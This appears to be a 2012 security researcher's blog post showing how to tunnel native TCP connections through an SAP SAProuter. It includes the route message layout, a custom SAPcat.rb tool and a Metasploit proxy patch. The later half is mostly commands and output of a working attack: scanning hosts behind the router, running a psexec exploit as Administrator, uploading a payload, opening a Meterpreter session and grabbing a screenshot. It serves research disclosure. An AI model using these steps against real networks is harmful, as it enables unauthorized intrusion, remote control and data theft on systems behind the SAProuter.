SAProuter is a SAP program working as a reverse proxy, which analyses connections between SAP systems and between SAP systems and external networks. It is designed to analyse and restrict SAP network traffic, which is allowed to pass through the firewall.
The SAProuter can be used for:
SAProuter is an SAP program that acts as an intermediate station (proxy) in a network connection between SAP Systems, or between SAP Systems and external networks. SAProuter controls the access to your network (application level gateway), and, as such, is a useful enhancement to an existing firewall system (port filter).
Figuratively speaking, the firewall acts as an impenetrable wall around your network. However, since particular types of connections need to penetrate this wall, a “hole” has to be made in the firewall. SAProuter assumes the control of this hole. In short, SAProuter provides you with the means of controlling access to your SAP system.
In 2010 Mariano Nunez from Onapsis gave a presentation at Hack in the Box titled The SAProuter – An Internet Window to your SAP Platform. If you haven’t seen this material before, I suggest reading it before continuing, it provides a very good overview of the SAProuter.
During his presentation Mariano eluded to the fact that it is possible to route native TCP connections through the SAProuter. He also mentioned that two Bizploit plugins would be made available to detect if native connections are possible (
saprouterNative) for a given SAProuter and that could be used to establish native proxy connections (
saprouterAgent). Unfortunately Mariano to this date has not released the plugins. However today Onapsis have just released a new white paper focussing on the SAProuter and a new version of Bizploit is due very soon (which I believe will include these plugins and some more goodies). However I had need of these, so had to write them myself.
After many Google searches and traversing the forums at the SAP Developer Network, I could not find any documentation or references on how to establish such a connection. In fact many of the posts on the subject actually stated that only SAP OSS (Online Service System) teams had this capability.
I found a resource that details how connections should be established. The resource details the construction of the route message.
|Offset||Size (bytes)||Description and Value|
|0×00||9||eye catcher (“NI_ROUTE\0”)|
|0×09||1||route information version (current version: 2)|
|0×0a||1||NI version (current version: 36)|
|0×0b||1||total num_of_entries of entries (value 2 to 255)|
|0×0c||1||talk mode (NI_MSG_IO: 0; NI_RAW_IO; 1; NI_ROUT_IO: 2), see Communication talk modes.|
|0×0d||2||currently unused field|
|0×0f||1||num_of_entriesber of rest nodes (remaining hops; value 2 to 255)|
|0×10||4||route length (integer value in net byte order)|
|0×14||4||current position as an offset into the route string (integer value in net byte order)|
|0×18||*||route string in ASCII|
A second resource details the operation modes/talk modes. Native connections are not discussed or referenced. However the NI_RAW_IO mode description was enticing.
The NI_RAW_IO mode is used to communicate between SAP applications without any further interpretation of the data blocks.
To demonstrate native routing a small PoC was crafted. A SAProuter instance is started on the host 192.168.1.21 with an ACL that permits ANY source to ANY destination host using TCP port 23.
root@bt:~# cat saprouttab P * * telnet P * * *
root@bt:~# ./saprouter -r -R saprouttab -G log -T trace
trcfile trace logfile log
WARNING: wildcard character used in route target
A netcat listener is started on the remote host (10.0.0.1) on TCP port 23.
user@host:~$ sudo nc –l –p 23 < msg.txt
The SAPcat.rb script is then executed on the local system.
$ ruby SAPcat.rb -r 192.168.1.21 -p 3299 -t 10.0.0.1 -s 23 -P 8000 =========================================================== SAPcat =========================================================== [+]attempting native connection to 10.0.0.1:23 via 192.168.1.21:3299 [+]connected to SAProuter 192.168.1.21:3299 [+]remote native connection to 10.0.0.1:23 established [+]connect your client to 127.0.0.1:8000
In another shell, netcat is used to connect to the local host on the proxy port (8000). $ nc 127.0.0.1 8000 -- greetings from the other side!!!!
Lets check the logs on the SAProuter.
root@bt:~# grep NATIVE log Thu May 24 06:12:10 2012 CONNECT TO S1/2 host 10.0.0.1/23 (10.0.0.1), *** NATIVE ROUTING *** Thu May 24 06:12:10 2012 DISCONNECT S1/2 host 10.0.0.1/23 (10.0.0.1), *** NATIVE ROUTING ***
Metasploit supports HTTP and Socks proxies, so I added support for NI proxies (SAProuter). Now we can execute Metasploit modules through the SAProuter against systems behind the SAProuter. An example execution is presented below. The auxiliary module ssh_version is being executed against the host 10.0.0.1 via the SAProuter 192.168.1.21.
msf > set Proxies ni:192.168.1.21:3299 Proxies => ni:192.168.1.21:3299 msf > use auxiliary/scanner/ssh/ssh_version msf auxiliary(ssh_version) > set RHOSTS 10.0.0.1 RHOSTS => 10.0.0.1 msf auxiliary(ssh_version) > set RPORT 22 RPORT => 22 msf auxiliary(ssh_version) > run [*] 10.0.0.1:22, SSH server version: SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
We can even get Meterpreter to work through the SAProuter.
msf exploit(psexec) > exploit
[*] Connecting to the server... [*] Started bind handler [+] response: NI_PONG [+] remote native connection to 10.0.3.99:4444 established [*] Authenticating to 10.0.3.99:445|WORKGROUP as user 'Administrator'... [*] Sending stage (752128 bytes) to 10.0.3.99 [*] Uploading payload... [*] Created \RJFSgpMQ.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np: 10.0.3.99[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np: 10.0.3.99[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (adOIlhBZ - "MatIpWnm")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \RJFSgpMQ.exe... [*] Meterpreter session 6 opened (192.168.0.22:52152 -> 126.96.36.199:3299) at 2012-06-20 12:09:14 +0100
meterpreter > use espia Loading extension espia...success. meterpreter > screengrab Screenshot saved to: /Users/nmonkee/toolbox/exploitation/metasploit/MqYJRkiH.jpeg
Unfortunately not all Metasploit modules will ‘honour’ the proxy settings for example the auxiliary ssh_login module does not. From the “Metasploit Acceptance Guidelines” specifically the Hacking Guide:
4. Always use Rex sockets, not ruby sockets. This includes third-party libraries such as Net::Http. There are several very good reasons for this rule. First, the framework doesn’t get notified on the creation of ruby sockets and won’t know how to clean them up in case your module raises an exception without cleaning up after itself. Secondly, non-Rex sockets do not know about routes and therefore can’t be used through a meterpreter tunnel. Lastly, regular sockets missout on msf’s proxy and ssl features.
I’m sure there are more and I intend to ‘fix’ any that I need going forwards, but feel free to have a play and let me know of any modules that do not play nice. I’ll be submitting the patch to Metasploit; however if you want to try it out for yourself now, it can be downloaded from here here. I’ll also be releasing some more modules very soon that can be used to port scan systems behind the SAProuter and retrieve the connection table from a SAProuter, these will be released shortly after I demo them at SEC-T.